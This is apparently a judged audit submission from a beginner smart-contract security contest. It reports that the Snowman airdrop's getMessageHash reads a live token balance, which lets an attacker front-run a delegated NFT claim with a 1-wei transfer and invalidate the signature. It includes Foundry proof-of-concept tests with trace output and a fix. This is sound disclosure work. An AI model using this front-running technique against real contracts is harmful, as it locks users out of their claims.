Snowman Merkle Airdrop

AI First Flight #10
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Severity: medium
Valid

User unable to claim the NFT

Root + Impact

Title: Signature Invalidation (Griefing Attack) via Dynamic Balance Check in getMessageHash

Description: In the SnowMan Merkle AirDrop protocol, users can sign a message off-chain allowing a third party (a relayer) to claim a Snowman NFT on their behalf. The function getMessageHash(address receiver) constructs the cryptographic digest by dynamically querying the user's current token balance: uint256 amount = i_snow.balanceOf(receiver);.

Because the amount is dynamically pulled from the blockchain state at the time of execution rather than explicitly passed as a fixed parameter, it is vulnerable to a front-running griefing attack. If an attacker observes a valid claim transaction in the mempool, they can front-run it by transferring a tiny amount (even 1 wei) of Snow tokens to the receiver. This forcefully changes the receiver's balance.

When the victim's claim transaction executes, the contract recalculates the digest using the new balance. This causes ecrecover to return a completely invalid address, triggering an SA__InvalidSignature() revert and locking the user out of their claim.

function claimSnowman(address receiver, bytes32[] calldata merkleProof, uint8 v, bytes32 r, bytes32 s)
external
nonReentrant
{
if (receiver == address(0)) {
revert SA__ZeroAddress();
}
if (i_snow.balanceOf(receiver) == 0) {
revert SA__ZeroAmount();
}
if (!_isValidSignature(receiver, getMessageHash(receiver), v, r, s)) {
revert SA__InvalidSignature();
}
uint256 amount = i_snow.balanceOf(receiver);
bytes32 leaf = keccak256(bytes.concat(keccak256(abi.encode(receiver, amount))));
if (!MerkleProof.verify(merkleProof, i_merkleRoot, leaf)) {
revert SA__InvalidProof();
}
i_snow.safeTransferFrom(receiver, address(this), amount); // send tokens to contract... akin to burning
s_hasClaimedSnowman[receiver] = true;
emit SnowmanClaimedSuccessfully(receiver, amount);
i_snowman.mintSnowman(receiver, amount);
}

Risk

  • Likelihood: Medium The attacker must actively monitor the mempool and spend a small amount of gas and tokens to execute the front-running attack.

  • Impact: High A successful attack completely prevents the receiver from claiming their NFT via delegation, acting as a permanent Denial of Service (DoS) for that specific signature.

Proof of Concept

  • Signature: Alice has 1 Snow token and signs a message off-chain to delegate her NFT claim.

  • Front-Run Attack: Bob monitors the mempool, spots the pending claim, and front-runs it by transferring 1 additional Snow token to Alice.

  • Execution & Revert: When the delegated claim transaction executes, the contract dynamically reads Alice's newly increased balance to calculate the hash. This mismatch instantly invalidates her original signature, reverting the transaction and permanently locking Alice out of her claim.

function test_Signed_BeforeTheBalance_Changed() public {
//Arrange
uint256 snow_balance_OF_Alice = snow.balanceOf(alice);
uint256 nft_balance_OF_Alice = nft.balanceOf(alice);
//Act
vm.startPrank(alice);
snow.approve(address(airdrop), 1);
bytes32 msgHash = airdrop.getMessageHash(alice);
(uint8 v, bytes32 r, bytes32 s) = vm.sign(aliceKey, msgHash);
vm.stopPrank();
vm.startPrank(bob);
snow.transfer(alice, 1);
vm.stopPrank();
uint256 snow_balance_OF_Alice_After_Transfer = snow.balanceOf(alice);
vm.startPrank(eli);
vm.expectRevert();
airdrop.claimSnowman(alice, PROOFS, v, r, s);
uint256 final_nft_balanceOf_Alice = nft.balanceOf(alice);
uint256 final_snow_balanceOf_Alice = snow.balanceOf(alice);
//Assert
assertEq(
final_snow_balanceOf_Alice,
snow_balance_OF_Alice_After_Transfer,
"Should be 2"
);
assertEq(
final_nft_balanceOf_Alice,
nft_balance_OF_Alice,
"should not mint as it reverts"
);
}
[PASS] test_Signed_BeforeTheBalance_Changed() (gas: 136025)
Traces:
[140825] TestVulnSnow::test_Signed_BeforeTheBalance_Changed()
├─ [3284] Snow::balanceOf(alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6]) [staticcall]
│ └─ ← [Return] 1
├─ [3618] Snowman::balanceOf(alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6]) [staticcall]
│ └─ ← [Return] 0
├─ [0] VM::startPrank(alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6])
│ └─ ← [Return]
├─ [26949] Snow::approve(SnowmanAirdrop: [0x8FAc23f69f63CD13d0519070f79e091b9d5244E8], 1)
│ ├─ emit Approval(owner: alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6], spender: SnowmanAirdrop: [0x8FAc23f69f63CD13d0519070f79e091b9d5244E8], value: 1)
│ └─ ← [Return] true
├─ [7231] SnowmanAirdrop::getMessageHash(alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6]) [staticcall]
│ ├─ [1284] Snow::balanceOf(alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6]) [staticcall]
│ │ └─ ← [Return] 1
│ ├─ [1284] Snow::balanceOf(alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6]) [staticcall]
│ │ └─ ← [Return] 1
│ └─ ← [Return] 0xade7201527deccec00a028e81e6b632f8258d3204971d43e7912ce0010068990
├─ [0] VM::sign("<pk>", 0xade7201527deccec00a028e81e6b632f8258d3204971d43e7912ce0010068990) [staticcall]
│ └─ ← [Return] 27, 0xf1ff5334be964e5f9cd43a1924b3334775395b1e23ff8ab75887d46b854c7316, 0x2f8d9904af4ed8ae1ea494dbf4976297bf27fc1ccd2968c3bcf04e3de455c55e
├─ [0] VM::stopPrank()
│ └─ ← [Return]
├─ [0] VM::startPrank(bob: [0x1D96F2f6BeF1202E4Ce1Ff6Dad0c2CB002861d3e])
│ └─ ← [Return]
├─ [15011] Snow::transfer(alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6], 1)
│ ├─ emit Transfer(from: bob: [0x1D96F2f6BeF1202E4Ce1Ff6Dad0c2CB002861d3e], to: alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6], value: 1)
│ └─ ← [Return] true
├─ [0] VM::stopPrank()
│ └─ ← [Return]
├─ [1284] Snow::balanceOf(alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6]) [staticcall]
│ └─ ← [Return] 2
├─ [0] VM::startPrank(eli: [0xEa61F454C2B4A5A16AB556DBE8DBB176C1D02177])
│ └─ ← [Return]
├─ [0] VM::expectRevert(custom error 0xf4844814)
│ └─ ← [Return]
├─ [21872] SnowmanAirdrop::claimSnowman(alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6], [0xf99782cec890699d4947528f9884acaca174602bb028a66d0870534acf241c52, 0xbc5a8a0aad4a65155abf53bb707aa6d66b11b220ecb672f7832c05613dba82af, 0x971653456742d62534a5d7594745c292dda6a75c69c43a6a6249523f26e0cac1], 27, 0xf1ff5334be964e5f9cd43a1924b3334775395b1e23ff8ab75887d46b854c7316, 0x2f8d9904af4ed8ae1ea494dbf4976297bf27fc1ccd2968c3bcf04e3de455c55e)
│ ├─ [1284] Snow::balanceOf(alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6]) [staticcall]
│ │ └─ ← [Return] 2
│ ├─ [1284] Snow::balanceOf(alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6]) [staticcall]
│ │ └─ ← [Return] 2
│ ├─ [1284] Snow::balanceOf(alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6]) [staticcall]
│ │ └─ ← [Return] 2
│ ├─ [3000] PRECOMPILES::ecrecover(0x767bfb788982e2fe1551fc526ab4cc0de4c2087fe91ed72754d807ff806a7e7d, 27, 109458516777020865689905453811148403542385711947826296793101988828140412891926, 21508885413040204641329411895746948071856635974471138275403018629756090697054) [staticcall]
│ │ └─ ← [Return] 0xFad81E1277BDFe1B91a29378032705a4631417f1
│ └─ ← [Revert] SA__InvalidSignature()
├─ [1618] Snowman::balanceOf(alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6]) [staticcall]
│ └─ ← [Return] 0
├─ [1284] Snow::balanceOf(alice: [0x328809Bc894f92807417D2dAD6b7C998c1aFdac6]) [staticcall]
│ └─ ← [Return] 2
└─ ← [Return]
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 16.14ms (3.75ms CPU time)

Recommended Mitigation

  • Remove the dynamic balanceOf query from the signature verification process. The amount to be claimed must be a static, explicit parameter passed into both getMessageHash and claimSnowman so that the user signs a fixed value that cannot be manipulated by outside state changes.

// 1. Add amount as a required parameter
function getMessageHash(address receiver, uint256 amount) public view returns (bytes32) {
return _hashTypedDataV4(
keccak256(abi.encode(MESSAGE_TYPEHASH, SnowmanClaim({receiver: receiver, amount: amount})))
);
}
// 2. Update claimSnowman to accept the explicit amount
function claimSnowman(
address receiver,
uint256 amount, // Added parameter
bytes32[] calldata merkleProof,
uint8 v,
bytes32 r,
bytes32 s
) external nonReentrant {
// ... (use the explicit amount parameter instead of querying the balance)
}
Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 2 hours ago
Submission Judgement Published
Validated
Assigned finding tags:

[M-01] DoS to a user trying to claim a Snowman

# Root + Impact ## Description * Users will approve a specific amount of Snow to the SnowmanAirdrop and also sign a message with their address and that same amount, in order to be able to claim the NFT * Because the current amount of Snow owned by the user is used in the verification, an attacker could forcefully send Snow to the receiver in a front-running attack, to prevent the receiver from claiming the NFT.&#x20; ```Solidity function getMessageHash(address receiver) public view returns (bytes32) { ... // @audit HIGH An attacker could send 1 wei of Snow token to the receiver and invalidate the signature, causing the receiver to never be able to claim their Snowman uint256 amount = i_snow.balanceOf(receiver); return _hashTypedDataV4( keccak256(abi.encode(MESSAGE_TYPEHASH, SnowmanClaim({receiver: receiver, amount: amount}))) ); ``` ## Risk **Likelihood**: * The attacker must purchase Snow and forcefully send it to the receiver in a front-running attack, so the likelihood is Medium **Impact**: * The impact is High as it could lock out the receiver from claiming forever ## Proof of Concept The attack consists on Bob sending an extra Snow token to Alice before Satoshi claims the NFT on behalf of Alice. To showcase the risk, the extra Snow is earned for free by Bob. ```Solidity function testDoSClaimSnowman() public { assert(snow.balanceOf(alice) == 1); // Get alice's digest while the amount is still 1 bytes32 alDigest = airdrop.getMessageHash(alice); // alice signs a message (uint8 alV, bytes32 alR, bytes32 alS) = vm.sign(alKey, alDigest); vm.startPrank(bob); vm.warp(block.timestamp + 1 weeks); snow.earnSnow(); assert(snow.balanceOf(bob) == 2); snow.transfer(alice, 1); // Alice claim test assert(snow.balanceOf(alice) == 2); vm.startPrank(alice); snow.approve(address(airdrop), 1); // satoshi calls claims on behalf of alice using her signed message vm.startPrank(satoshi); vm.expectRevert(); airdrop.claimSnowman(alice, AL_PROOF, alV, alR, alS); } ``` ## Recommended Mitigation Include the amount to be claimed in both `getMessageHash` and `claimSnowman` instead of reading it from the Snow contract. Showing only the new code in the section below ```Python function claimSnowman(address receiver, uint256 amount, bytes32[] calldata merkleProof, uint8 v, bytes32 r, bytes32 s) external nonReentrant { ... bytes32 leaf = keccak256(bytes.concat(keccak256(abi.encode(receiver, amount)))); if (!MerkleProof.verify(merkleProof, i_merkleRoot, leaf)) { revert SA__InvalidProof(); } // @audit LOW Seems like using the ERC20 permit here would allow for both the delegation of the claim and the transfer of the Snow tokens in one transaction i_snow.safeTransferFrom(receiver, address(this), amount); // send ... } ```

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!